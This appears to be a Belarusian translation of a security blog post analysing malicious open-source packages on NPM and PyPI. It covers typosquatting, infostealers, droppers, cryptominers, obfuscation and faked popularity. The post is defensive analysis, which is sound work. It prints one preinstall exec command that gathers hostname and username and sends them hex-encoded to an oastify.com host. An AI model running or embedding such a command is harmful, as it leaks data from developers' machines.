У папярэднім эпізодзе, Шкоднасныя пакеты з адкрытым зыходным кодам: праблема, мы абмеркавалі, чаму зламыснікі былі настолькі з энтузіязмам ставяцца да публікацыі новых шкоднасных кампанентаў або ўстаўкі шкоднасных праграм у апошнія версіі існуючых кампанентаў: інфраструктура з адкрытым зыходным кодам дазваляе любому чалавеку ў любым месцы стварыць часовы ўліковы запіс у рэестры кампанентаў (напрыклад, NPM, PyPI, Docker Hub або Visual Studio Marketplace) або платформе для сумеснай распрацоўкі (напрыклад, GitHub). Нулявыя выдаткі і мноства магчымасцей для выкарыстання празмернага даверу, які каманды распрацоўшчыкаў праграмнага забеспячэння традыцыйна маюць да кампанентаў іншых вытворцаў.
Асіметрыя паміж тым, наколькі лёгка зламыснікам распаўсюджваць шкоднасныя праграмы, выкарыстоўваючы інфраструктуру, даступную для праграм з адкрытым зыходным кодам, і тым, наколькі цяжка арганізацыям, якія распрацоўваюць праграмнае забеспячэнне (усім?), пазбегнуць заражэння шкоднаснымі праграмамі (і распаўсюджваць шкоднасныя праграмы ў праграмным забеспячэнні, якое яны распаўсюджваюць для іншых), прывяла да таго, што ў мінулым годзе амаль была дасягнута адзнака ў чвэрць мільёна шкоднасных пакетаў.
Гэта праблема такога маштабу, што ніводная арганізацыя ў адзіночку не можа яе вырашыць, і супольнасць знаходзіцца ў працэсе пераасэнсавання працэсу адкрытага праграмнага забеспячэння адносна даверу, прынцыпаў бяспекі па змаўчанні і бяспекі па дызайне, а таксама жыццёвага цыклу кампанентаў. Мы разгледзім гэтыя ідэі ў наступным эпізодзе. Абарона ад шкоднасных пакетаў з адкрытым зыходным кодам: што (не) працуе.
Памятайце, што гаворка ідзе пра праграмныя кампаненты, якія ў большасці выпадкаў адпавядаюць праграмныя пакеты: кампаненты паўторнага выкарыстання, спакаваныя такім чынам, каб на іх можна было спасылацца як на залежнасць у маніфесце праграмнага забеспячэння, і ўсталяваныя з дапамогай мэнэджара пакетаў або інструмента зборкі. Звярніце ўвагу, што гэты выпадак можна пашырыць, каб уключыць публічныя выявы кантэйнераў (выкарыстоўваецца асяроддзямі выканання кантэйнераў і платформамі аркестрацыі, такімі як Kubernetes), і пашырэнні праграмных інструментаў (для стварэння, аўтаматызацыі і разгортвання).
Тут мы аналізуем, як гэта тактыка атакі, заснаваная на шкоднасных кампанентах працуе, згодна з папярэднімі прыкладамі і тым, што мы бачылі ў нашай платформе для ранняга папярэджання аб шкоднасных праграмах (MEW). Мы разгледзім шкоднасныя кампаненты ў розных вымярэннях:
(1) абраны спосаб распаўсюджвання (выкарыстоўваны рэестр, у новым або існуючым кампаненце, і метад, які выкарыстоўваецца для заражэння апублікаванай версіі кампанента), (2) як актывуецца або запускаецца шкоднаснае праграмнае забеспячэнне, (3) шкоднасная паводзіны, г.зн. якія шкоднасныя дзеянні назіраюцца і якая матывацыя зламысніка, (4) якія метады распаўсюджаныя для заблытвання, хавання, каб застацца незаўважаным, бакавога перамяшчэння, сувязі з хостамі камандавання і кантролю (C2) і г.д.; і (5) метады атрымання дастатковай папулярнасці і даверу, каб ахвяры ў рэшце рэшт усталявалі кампанент.
Абраны механізм размеркавання
Мы назіраем «фонавы шум«недасведчаных шкоднасных пакетаў, якія выкарыстоўваюць памылку друку, каб падмануць неасцярожных распрацоўшчыкаў, дадаўшы памылку друку ў назву пакета для іх залежнасці. Многія папулярныя пакеты атрымліваюць шквал пакетаў з падобнымі назвамі і памылкамі друку ў чаканні, што яны падмануць неасцярожных распрацоўшчыкаў.
Яны выкарыстоўваюць эфемерны акаўнт, публікуюць групу пакетаў typosquat, ствараюць яшчэ адну і публікуюць яшчэ адну групу... Выкарыстоўваючы некаторую аўтаматызацыю і кемлівасць, яны могуць дасягнуць пэўнай складанасці, але звычайна яны даволі трывіяльныя. Унутры мы называем іх «анчоўсы«Асноўная мэта — крадзеж уліковых дадзеных, але часам мы сутыкаемся са шпіёнскімі праграмамі, якія выкрадаюць зыходны код або канфідэнцыйныя дадзеныя, такія як персанальная інфармацыя (PII), захопліваюць буфер абмену і робяць іншыя рызыкі».
Нечакана мы бачым больш складаныя шкоднасныя кампаненты, «акул». Меншасць з іх накіравана на пэўныя групы або арганізацыі, як правіла, з дапамогай крыпта-драйнераў або вэб-скімераў, якія актывуюцца ўмоўна, магчыма, паводле падыходу, які разглядаецца ў інцыдэнт патоку падзей расшыфроўкі карыснай нагрузкі атакі толькі тады, калі на пакет спасылаецца мэтавы пакет.
Механізм размеркавання быў прааналізаваны ў выдатнай і цяпер ужо класічнай працы «Калекцыя нажоў Backstabber's Knife: Агляд атак на ланцужкі паставак праграмнага забеспячэння з адкрытым зыходным кодам«», які абавязкова трэба прачытаць. Напэўна, вы ўжо бачылі гэтую прыгожую дыяграму:
Былі вывучаны ўсе шляхі, у тым ліку новыя і існуючыя пакеты; уздзеянне на зыходны код, сістэму зборкі або сам кампанент пакета; выкарыстанне скрадзеных уліковых дадзеных або сацыяльнай інжынерыі; захоп закінутых акаўнтаў і рэпазіторыяў або атручванне тых, што падтрымліваюцца. Некаторым атакам былі назвы (Тыпасквотынг, Заблытанасць з залежнасцямі, Відавочная блытаніна, Крадзеж рэпазіцыйі г.д.) і ўжо абмяркоўваліся ў іншым месцы.
А як наконт абраных рэестраў?
NPM працягвае лідзіраваць па агульнай колькасці шкоднасных пакетаў, але з гэтага года мы назіралі ўсплёск на PyPI. Python — папулярная экасістэма для навукі аб дадзеных і машыннага навучання. Фактычна, шчыльнасць шкоднасных праграм цяпер вышэйшая ў PyPI, чым у NPM.
Як запускаецца шкоднаснае праграмнае забеспячэнне
Шкоднасныя пакеты спрацоўваюць падчас усталёўкі толькі ў 4 з 10 выпадкаў (у апошнія гады гэты паказчык быў блізкі да 6 з 10). Астатнія ж запускаюць шкоднасныя праграмы падчас выканання, прычым 1 з 100 спрацоўвае падчас тэставання. Здаецца, зламыснікі ведаюць, што некантраляванае выкананне ўсталявальных скрыптоў было адключана ў многіх месцах.
Што атрымліваюць дрэнныя хлопцы?
Мы пералічым катэгорыі шкоднасных паводзін, пачынаючы з самых папулярных. Звярніце ўвагу, што наступствы могуць быць вельмі рознымі: а шклоачышчальнік упарта разбуральны, але ён не распаўсюджаны і назіраўся толькі ў некалькіх выпадках, звязаных з мэтанакіраванымі кібервайсковымі кампаніямі або жорсткім хактывізмам. Наступныя катэгорыі даволі распаўсюджаныя:
- InfoStealer / Сродак уліковых дадзеныхБезумоўна, найбольш частыя, больш за 90% непрактычных атак — гэта простыя крадзяжы, якія ў асноўным шукаюць уліковыя дадзеныя, такія як паролі, токены доступу, ключы API і прыватныя ключы (для SSH і падобнага). Гэта, верагодна, самы просты спосаб напісаць (разам з wipers?). Яны пералічваюць вядомыя файлы/каталогі і іншыя крыніцы (напрыклад, ключы рэестра), пакуюць змесціва і адпраўляюць гэтыя дадзеныя на сервер C2. Ідэя простая: «Я публікую крадзеж фішынгавых уліковых дадзеных, каб пазней я мог выкарыстоўваць гэтыя ўліковыя дадзеныя для запуску накіраванай атакі».
Назіраныя сеткі C2 звычайна танныя і брудныя, як, напрыклад, каналы Telegram або інструменты для тунэлявання, падобныя на ngrok (часта ў выглядзе зваротных проксі-сервераў, якія прадастаўляюцца праз выходныя IP-адрасы VPN). Існуюць сотні (!) магчымасцей, і многія праекты GitHub знаходзяцца пад тэма пра крадзеж пароляўТакія спецыялізацыі, як кейлогеры, рэдка сустракаюцца для шкоднасных пакетаў і вобразаў кантэйнераў, але часцей сустракаюцца ў пашырэннях інструментаў, дзе чакаецца ўзаемадзеянне з карыстальнікам.
- Загрузнік / ЗагрузчыкДругі па папулярнасці, звычайна першы ў шматэтапных атаках. Больш чым кожны трэці шкоднасны кампанент мае дроперы (калі шкоднасная карысная нагрузка ўваходзіць у пакет) або загрузнікі (карысная нагрузка спампоўваецца з канчатковай кропкі пад кантролем зламысніка). Карысная нагрузка часта з'яўляецца вядомым варыянтам бінарнага шкоднаснага праграмнага забеспячэння, які запускаецца, а часам захоўваецца, для ўстаноўкі бэкдораў, шпіёнскіх праграм, крыпта-знішчальнікаў і іншых выпадкаў выкарыстання. Спампаваная або разгорнутая карысная нагрузка запускае атаку другой фазы з усёй магутнасцю, якую забяспечваюць існуючыя бінарныя файлы шкоднасных праграм. Бінарныя файлы могуць распаўсюджвацца ўнутры пакета, часта маскіруючыся пад выявы або нібыта бяскрыўдныя тыпы файлаў, каб пазбегнуць выяўлення пры падключэнні да нечаканых сайтаў.
- Выкрадальнікі / Майнеры крыптавалютФінансава матываваныя зламыснікі гатовыя выкарыстоўваць вашы хмарныя рэсурсы для запуску крыптамайнераў (яны нават выяўляюць, ці працуюць тыя ў хмарнай віртуальнай машыне). Ім усё роўна, нізкі каэфіцыент прыбытку 1 долар за кожныя 53 долары, якія спаганяюцца з ахвяры за скрадзеную воблачную інфраструктуру. Ахвяры могуць не ведаць пра гэта, пакуль не атрымаюць нечаканы рахунак. На шчасце, гэта здараецца і знікае. Cryptojacking кампаніі ў шкоднасных пакетах часам з'яўляюцца, а потым знікаюць, фішынгуючы карыстальнікаў кашалькоў або ў рэшце рэшт нацэльваючыся на пастаўшчыка кашалькоў, як у Атака на рэестр.
Іншыя паводзіны, такія як разгортванне закулісны для дыстанцыйнага выканання кода шляхам адкрыцця зваротнай абалонкі зараз сустракаецца радзей, чым у мінулым. Напрыклад, 123rf_contributor_web пакет (цяпер выдалены з рэестра) адкрываецца без якога-небудзь заблытвання, зваротная абалонка, скапіраваная і ўстаўленая з Шпаргалка па зваротнай абалонцы:
Акрамя законных і шкоднасных кампанентаў, мы назіралі некалькі злоўжыванняў, у тым ліку:
Спам-пакеты
Існуюць тысячы невялікіх пакетаў, пераважна ў NPM, без шкоднасных праграм, але з абяцаннямі лёгкага заробку, «змяінага алею», спасылак на прапановы Viagra і ўсяго такога. Некалькі карыстальнікаў публікуюць такі спам і займаюць шмат трафіку з рэестра. Іншы(я) ўдзельнік(і), магчыма, з Інданезіі, спрабаваў(ы) атрымаць выгаду, злоўжыванне гарбатайРанг прызначаны для кампенсацыі распрацоўшчыкам праграм з адкрытым зыходным кодам шляхам стварэння дзясяткаў тысяч узаемазвязаных пакетаў NPM з адпаведнымі фіктыўнымі рэпазіторыямі GitHub. Гэта відавочнае парушэнне ўмоў карыстання.
Містыфікацыі з узнагародай за выяўленне памылак і даследаваннямі бяспекі
Калі пакет апісвае сябе як такі, што выкрадае дадзеныя для добрых мэтаў, такіх як выяўленне недахопаў бяспекі для праграм па выяўленні памылак або даследаванне пэўных аспектаў экасістэмы. Мы бачылі тысячы пакетаў у гэтай катэгорыі, якія атрымліваюць ідэнтыфікацыйныя, але не занадта канфідэнцыйныя дадзеныя на адрас Burp Collaborator ад PortSwigger (напрыклад, хост у дамене oastify.com). Мы часта назіралі копіі... Заблытанасць з залежнасцямі праверка канцэпцыі Алекса Бірсана, як і aurora-webmail-pro пакет (выдалены з рэестра), які проста запускае гэты непрыемны код у перадусталёўкавым скрыпце:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") А таксама ўключаў «Гэта простая атака блытаніны залежнасцей, якая даказвае канцэпцыю«апісанне адмовы ад адказнасці ў package.jsonГэта відавочнае парушэнне ўмоў абслугоўвання, нават без злога намеру.
Ёсць добрыя навіны? Мы пакуль не бачылі атак праграм-вымагальнікаў, якія ажыццяўляюцца праз шкоднасныя кампаненты. Па невядомых прычынах кіберзлачынцы, здаецца, аддаюць перавагу больш традыцыйным механізмам фішынгу электроннай пошты, RDP і аўтаматычнай загрузкі.
Дадатковыя назіраныя метады
Для ўстойлівасці, ухілення ад абароны, збору інфармацыі, сувязі з вузламі кіравання і эвакуацыі выкарыстоўвалася мноства метадаў.
Настойлівасць у шкоднасных кампанентах дасягаецца з дапамогай функцый персістенцыі ў двайковым шкоднасным праграмным забеспячэнні другой ступені, але часам паводзіны знаходзіцца ў кодзе пакета, прычым найбольш распаўсюджанымі з'яўляюцца запланаваныя задачы і змены ў рэестры Windows.
зацямненне распаўсюджана, але не складана. Большасць пакетаў з памылкамі тыпу (памятайце пра «анчоўсы«?) зусім не выкарыстоўваюць абфускацыю; многія выкарыстоўваюць альбо трывіяльныя (кадзіроўка base64/hex або шыфры падстаноўкі, такія як rot13), альбо даступныя абфускатары кода і мініфікацыю, якія лёгка адмяніць з дапамогай правільных інструментаў. Толькі «акулы» робяць сапраўдную, жорсткую абфускацыю, якую цяжка рэканструяваць.
Абфускацыя можа схаваць атаку, але чаму код у кампаненце з адкрытым зыходным кодам павінен быць абфускаваны? Ці ёсць доказы таго, што нешта трэба хаваць ад простага позірку? Мы знайшлі шмат выпадкаў нешкоднасных пакетаў, якія выкарыстоўваюць абфускацыю для абароны інтэлектуальнай уласнасці, што супярэчыць «адкрытаму зыходнаму коду». Абфускацыя можа быць выкарыстана як доказ наяўнасці шкоднаснага праграмнага забеспячэння, але яна не з'яўляецца пераканаўчай. Яе таксама цяжка дэабфускаваць.
Ухіленне ад абарончых элементаў кіравання выкарыстоўвае простыя метады. Шкоднасны код часта абаронены ў паспрабуй… злавіць блокі, якія ігнаруюць любыя выключэнні, таму анамальная актыўнасць не адлюстроўваецца ў журналах. Праверка асяроддзя (якое працуе ў віртуальнай машыне або кантэйнеры) здараецца рэдка, за выключэннем выпадкаў шкоднасных праграм, накіраваных на пэўную арганізацыю або асяроддзе.
Маскіроўка двайковых файлаў у выявах і PDF-файлах (своеасаблівая стэганаграфія) была яшчэ адным метадам пазбягання выяўлення.
Паколькі найбольш распаўсюджанымі шкоднаснымі кампанентамі з'яўляюцца інфармацыйныя злодзеі, збор дадзеных вельмі важна. Сакрэты (паролі, токены доступу, ключы API, крыптаграфічныя ключы) рэгулярна скануюцца ў файлах журналаў, зменных асяроддзя і нават у буферы абмену (што назіраецца з банкаўскімі траянамі і крыпта-выкрадальнікамі). Выкраданне зыходнага кода таксама з'яўляецца распаўсюджанай з'явай, бо ўстаноўка пакета часта выконваецца ў вузле распрацоўкі, дзе могуць быць кланаваны ўнутраныя рэпазіторыі git. Мы бачылі, як пакеты пералічваюць каталогі ў пошуках рэпазіторыяў git. Пошук такіх месцаў, як .env, private.pem, settings.py, app.js або application.properties, з'яўляецца даволі распаўсюджанай з'явай.
Выманне дадзеных з дапамогай шкоднасных праграм — яшчэ адна шырока распаўсюджаная мера. Толькі невялікая частка шкоднасных праграм спрабуе схаваць месца прызначэння вынятых дадзеных. Telegram-каналы і тунэлі, падобныя на нгрокі часта выкарыстоўваюцца. І іх шмат звычайна дамены з белага спісу выкарыстоўваюцца для эксплойцыі.
Іншыя метады, такія як эскалацыя прывілеяў або латэральнае перамяшчэнне, былі менш распаўсюджаныя.
Атрыманне папулярнасці і даверу
Уявіце сабе тэхнічнага ашуканца з гатовай забойчай шкоднаснай штукай, які задаецца пытаннем: «Як мне зрабіць гэтую лухту вартай даверу для нічога не падазравалых ідыётаў?».
Гэта азначае, як зрабіць так, каб запіс для шкоднаснага кампанента адлюстроўваў шмат зорак / відаў (для папулярнасці), а таксама версіі / праблемы і pull requests (для актыўнасці). Ідэя заключаецца ў тым, каб атрымаць фіктыўную папулярнасць (зоркі) і ўтрыманцаў, а таксама пераканаўчы выгляд адносна актуальнасці і падтрымання.
Рэестр не правярае, ці супадае змесціва праекта GitHub і змесціва пакета.Гэта добра вядомая праблема ў ланцужку паставак праграмнага забеспячэння. Публічныя рэестры — гэта гіганцкія правалы, якія паглынаюць усё, што на іх кідаецца. Вы можаце падключыць любы рэпазітар.
Калі шкоднасны пакет мае памылку друку, гэта проста: проста спасылайцеся на існуючы рэпазітар GitHub у маніфесце залежнасцей, які выкарыстоўваецца для стварэння пакета і публікацыі яго ў рэестры. Для новых пакетаў у падробленым рэпазітарыі GitHub вам можа спатрэбіцца больш кемлівасці, магчыма, стварэнне падробленага назіранне за зоркамі/разгалінаванне Уліковыя запісы GitHub праз скрыпты.
І калі змесціва вашага пакета дастаткова падобнае да рэпазітара, дадайце пару добра прадуманых змяненняў тут і там... Вы можаце ўставіць сваё шкоднаснае праграмнае забеспячэнне ў новы пакет, падобны на папулярны, які спасылаецца на існуючы рэпазітар, і чакаць памылак друку. Калі хтосьці адважыцца параўнаць змесціва tar-архіва пакета са змесцівам рэпазітара GitHub, адрозненні ў кропках увядзення шкоднаснага праграмнага забеспячэння можна лёгка прапусціць. Мы ўжо шмат разоў бачылі такі падыход раней.
Было б добра мець механізм, які б кампанентам рабіў заяву аб паходжанні, спосабе збору пакета, крыніцах і кім. Але гэта ўжо іншая гісторыя.
Ці з'яўляецца кампанент X шкоднасным праграмным забеспячэннем?
Ці існуе (поўная) база дадзеных шкоднасных пакетаў? Не. Уразлівасцям з адкрытым зыходным кодам прысвойваецца ідэнтыфікатар CVE, але толькі некалькім шкоднасным пакетам (асабліва тым, якія трапляюць у загалоўкі газет) ён прысвойваецца. CWE для шкоднасных пакетаў — CWE-506 (убудаваны шкоднасны код).
Звычайныя інструменты для барацьбы са шкоднаснымі кампанентамі (VirusTotal, MalwareBazaar, SOREL-20M…) не прадугледжваюць спецыяльных мер для іх абароны. Гэта было б вельмі дарэчы!
Існуюць базы дадзеных і наборы дадзеных для аналізу (мы выкарыстоўваем некалькі з іх), але запісы абнаўляюцца толькі тады, калі шкоднасны пакет вядомы, што часта бывае занадта позна. Калі вам цікава, OpenSSF Шкоднасныя пакеты гэта добры пачатак.
У наступным пасце мы абмяркуем, як даведацца, ці з'яўляецца пэўны пакет шкоднасным. Спойлер: так, існуюць спосабы праверкі на наяўнасць шкоднасных кампанентаў на ранняй стадыі экспазіцыі, перш чым рэестр выдаліць вядомы шкоднасны кампанент.
Далейшае чытанне
У наступным эпізодзе «Абарона ад шкоднасных пакетаў з адкрытым зыходным кодам: што (не) працуе" Мы абмяркуем, што можна і чаго нельга рабіць для бяспекі адкрытага зыходнага кода. Большасць спецыялістаў, якія ведаюць пра бяспеку, маюць інтуіцыю адносна таго, як змагацца з гэтай пагрозай, але памылковых уяўленняў хапае.
Мы разгледзім, чаму гэтыя ідэі памылковыя, і як такія памылковыя ўяўленні спрыяюць папулярнасці гэтага механізму атакі, а таксама велізарнай рызыцы, з якой сутыкаюцца арганізацыі. Затым мы пяройдзем да таго, што працуе, і якія намаганні і рэсурсы патрабуюцца.
Акрамя таго, мы збіраемся апублікаваць паведамленні пра эвалюцыю шкоднасных пакетаў з пункту гледжання іх намераў, механізму ўкаранення і метадаў атакі.
Сачыце за абнаўленнямі!
